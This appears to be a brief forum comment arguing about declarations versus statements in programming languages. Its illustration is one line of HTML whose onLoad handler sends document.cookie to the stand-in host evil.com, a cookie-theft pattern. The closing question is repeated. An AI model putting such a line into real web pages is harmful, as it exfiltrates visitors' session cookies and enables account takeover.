That's not a declaration, that's a statement. An imperative statement, to boot. Here's what it would look like in an actual declarative language:
<body onLoad="http.GET('http://evil.com/"+document.cookie')">
What do you think is the difference between a declaration and a statement?
What do you think is the difference between a declaration and a statement?